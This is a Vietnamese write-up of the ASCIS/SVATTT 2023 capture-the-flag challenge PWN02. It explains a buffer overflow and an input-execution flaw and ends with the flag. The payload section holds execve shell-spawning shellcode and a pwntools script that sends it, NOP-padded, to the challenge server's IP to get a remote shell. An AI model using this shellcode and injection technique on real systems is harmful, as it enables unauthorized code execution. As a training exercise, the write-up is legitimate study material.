(Write-up) ASCIS Warm Up - SVATTT 2023: PWN02

(Write-up) ASCIS Warm Up - SVATTT 2023: PWN02

💻 Preamble

Bắt đầu challenge này, mình bắt tay vào phân tích tổng quan về file
notion image
notion image
Chạy thử chương trình và điền vào các giá trị thì mình phát hiện ra rằng nhập name sẽ không giới hạn dưới ký tự nhập vào nhưng khi nhập quá nhiều thì sẽ gây ra lỗi Segmentation fault.
Còn đối với feedback thì nhập ít quá thì sẽ báo feedback quá ngắn, dài quá thì ký tự thừa ra sẽ bị đẩy thành câu lệnh sau khi chương trình kết thúc.
notion image
Kêt thúc phân tích sơ bộ, mình mở chương trình lên trong IDA để phân tích mã nguồn.

🤔 Start

Mã nguồn được đưa về pseudo-code có dạng như hình:
notion image
Sau những bước nãy giờ, nếu bạn quen thuộc với chủng lỗi BOF (Buffer overflow) thì bạn có thể đã nhận ra challenge này có mắc phải chủng lỗi này.
Phân tích tiếp thì mình biết được giới hạn dưới của ký tự nhập của feedback (chính là biến s ) là 39.
Xem tiếp đến hàm getflag(s) . Ở đây, đoạn code nhận vào tham số a1, sau đó gọi và thực thi a1.
notion image
⇒ Đến đây, mình nhận ra rằng challenge này phải khai thác bằng shell code để RCE server và đọc được flag.

🧑‍💻Payload

Đến đây, mình tập trung vào tìm payload shellcode để chèn vào biến s để sau đó shellcode này sẽ được thực thi. Mình mò mẫm shellcode ở trên trang này (Link) và tìm được đoạn shellcode như sau hoạt động
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Tuy nhiên, do đoạn code này yêu cầu độ dài tối thiểu của biến s phải là 39 nên mình phải chèn thêm các hàm NOP (opcode là: 0x90) để có thể bypass được.
Dưới đây là đoạn code mình đã viết để pwn được bài này:
from pwn import * import sys try: if sys.argv[1] == "remote": r = remote("139.180.137.100", 1338) else: r = process('./pwn2') except: print("Usage: python3 pwn-sol.py [remote/local]") exit() context.arch = 'amd64' shell= b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shell = shell + b"\x90" * (39-len(shell)) log.info("Shellcode length: " + str(len(shell))) r.recvuntil(b'name: ') r.sendline(b"This is test name") r.recv(1024) r.sendline(shell) r.interactive()
Chạy đoạn code trên và mình đã RCE được server
notion image
Chạy trên server của btc, mình lấy được flag.
💡 ASCIS{cust0m_sh4llc0d3_f0r_learning}
 

Loading Comments...